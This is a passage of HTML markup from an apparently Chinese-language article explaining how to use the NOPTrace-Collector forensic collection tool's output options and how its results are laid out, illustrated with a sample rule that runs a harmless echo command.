block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d21316e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh8jEzTPzJ5ibic8EpmJSXcfcZmJINicEgicGkQ09dvP0WFYgFX66G9018IA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-o</span></code><span leaf=""> 可以指定输出结果的目录</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019181" class="rich_pages wxw-img" data-ratio="0.16203703703703703" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=41250801&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh1LM8uviaMOHlic300leOY5PTTLibABmfAnvYFWK3ibHHrcmBOBwBj35INQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019180" class="rich_pages wxw-img" data-ratio="0.15185185185185185" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=958fc159&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhBEHulXJD17qxMgfZWicfDmeqgW35O7IO7Uib3zlMTc44T1kOvTaruVRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">7. 解析收集的结果</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们深知在应急响应过程中传输文件夹可能会比传输单个文件困难一些，基于这点考虑，我们将收集结果保存到了单一的 Sqlite 数据库文件中，文件名字为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ForensicResults.db</span></code><span leaf=""> ，大家可以直接将该文件拷贝到本地进行分析 可以使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-p</span></code><span leaf=""> 参数解析收集到的文件</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019183" class="rich_pages wxw-img" data-ratio="0.6787037037037037" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=cf6ac343&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhuQXxgUicNiakR4eC39ecj4CJP1pwWC8hibqtibKmgrx2eMSsIqibBMN9P8w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当然也可以配合 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-o</span></code><span leaf="">  参数指定输出的目录</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">收集结果解析</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">目前 NOPTrace-Collector 主要面向工程师，而不是自动化程序，换句话说就是目前结果输出是给人看的，而不是机器</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以以下配置文件的收集结果为例</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRen4w1tPCLcATrich4PMQlMhqo9bcI5pOtL6OtXib51iarko3jjDQV2gCbgvySh9dOXOdSzwtGXe7kgw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">HelloOpenForensicRules</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Hello</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">OpenForensicRules</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">!</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">darwin</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">echo</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;Hello OpenForensicRules !&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf=""><a href="https://github.com/Just-Hack-For-Fun/OpenForensicRules" target="_blank">https://github.com/Just-Hack-For-Fun/OpenForensicRules</a></span></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019185" class="rich_pages wxw-img" data-ratio="0.3824074074074074" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9094351c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhj1gWQR48gicKZWyRcKCBBjfA5fMpcrgjfxbiaic0S6nDsFEHy2fcgdCHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. 整体结果层级</span><span style="display: none;"></span></h3><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ForensicResults_20250704_190116</span></code><span leaf=""> 文件夹命名就是输出时的时间戳转化为字符串</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">noptrace_collection_metadata.txt</span></code><span leaf=""> 是本次整体收集结果的元数据</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019186" class="rich_pages wxw-img" data-ratio="0.637962962962963" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8e4d9216&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhogYVHstTXP6g7j2t1ZiaDVz9uRpBDz1sI4fcNqI0xiaX7hvIRyRmkib1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">collect_result.json</span></code><span leaf="">  是整体收集结果的 metadata ，由于目前输出不够完美，所以提供该文件辅助分析</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019187" class="rich_pages wxw-img" data-ratio="0.7601851851851852" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=794d0d9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMh377dCKfEkq9QUVNicNxbwEWld7HPvUVHXrcNom5MwvaKIBPYorM6kRA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">data_center.json</span></code><span leaf="">  程序为保证结构稳定，将收集的文件内容等放到了数据中心，对外提供 uuid 以供 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">collect_result.json</span></code><span leaf=""> 记录元数据，所以数据信息的信息就在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">data_center.json</span></code><span leaf=""> 文件中，也是由于目前输出不够完全，所以提供该文件辅助分析</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019188" class="rich_pages wxw-img" data-ratio="0.5796296296296296" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=42ae2b2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhibQEwyMCVlzn3ydmhogBttnEkJRCQ9oDWf99DUkSefPZHfCqZP62TZw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. Artifact 层级</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Artifact</span></code><span leaf=""> 会单独创建一个文件夹，这里就是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">HelloOpenForensicRules</span></code><span leaf=""> ，文件夹名字和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Artifact</span></code><span leaf=""> 名字相同</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019184" class="rich_pages wxw-img" data-ratio="0.25565610859728505" data-type="png" data-w="884" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1c6fc62a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhPTtS2a5HR7TibUibLu1Z7LSa1N49LWjIicRBics0pbIFbwhKDmf1mEoCzg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">noptrace_artifact_metadata.txt</span></code><span leaf=""> 文件为所属 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Artifact</span></code><span leaf=""> 的元数据信息</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019192" class="rich_pages wxw-img" data-ratio="0.3490740740740741" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ce878ebf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhVjblicIYyFf9Po6W2QXlRBHlFBjdEBpcWusia8bu8wtVLBAo6TLfcibZw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3. Source 层级</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每个 Source 会在文件夹内创建一个对应的文件夹，即 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">1.cmd_result_x1</span></code></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019190" class="rich_pages wxw-img" data-ratio="0.21153846153846154" data-type="png" data-w="832" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3c31d408&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhOjZuwz3lnoiaujZo9uDJZ5Dn9Z0ydRk7Z4HBEw7kZVAkZRgxbm12ezQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">noptrace_source_metadata.txt</span></code><span leaf=""> 当前数据源 (source) 的元数据</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019191" class="rich_pages wxw-img" data-ratio="0.41203703703703703" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3b454ab0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhhjxXAn34L5SjsUZv49I8WkINlbu7bPhiajUKicsWz60ommN3lVsylmJw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">文件夹 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">1.cmd_result_x1</span></code><span leaf=""> 的含义如下</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">1.</span></code><span leaf="">  表示这是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Artifact</span></code><span leaf=""> 下第一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Source</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cmd_result</span></code><span leaf=""> 表示类型</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">x1</span></code><span leaf=""> 表示该 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">source</span></code><span leaf=""> 中包含一个收集结果</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">由于当前配置文件中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">COMMAND</span></code><span leaf=""> 类型的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Source</span></code><span leaf=""> 只允许有一个命令和参数的组合，所以看起来 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">x1</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">x0</span></code><span leaf=""> 作用不是很大，但是如果在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">FILE</span></code><span leaf=""> 、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">PATH</span></code><span leaf=""> 等类型时，作用较大</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4. Attributes 层级</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019189" class="rich_pages wxw-img" data-ratio="0.1870967741935484" data-type="png" data-w="620" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=6b4da727&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhDicsVjWEjKPicfssAb00E0DkSYKMn7tPLkASDibFvan5umtxY4bibONn4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">1.cmd_echo</span></code><span leaf=""> 文件夹名字是具体的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">attributes</span></code><span leaf=""> 中配置的内容决定的，尽量采用让用户目录看出来大概该文件夹内大概是什么类型的命令的执行结果，同时又不会太长</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">noptrace_command_metadata.txt</span></code><span leaf=""> 文件为本次命令执行的元数据信息</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019193" class="rich_pages wxw-img" data-ratio="0.6537037037037037" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a859531&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMho07GshQqmODzzwWYMp8ibUX0MkJiborQBxw6dgUf6vHDXejYbKuN5HYw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code 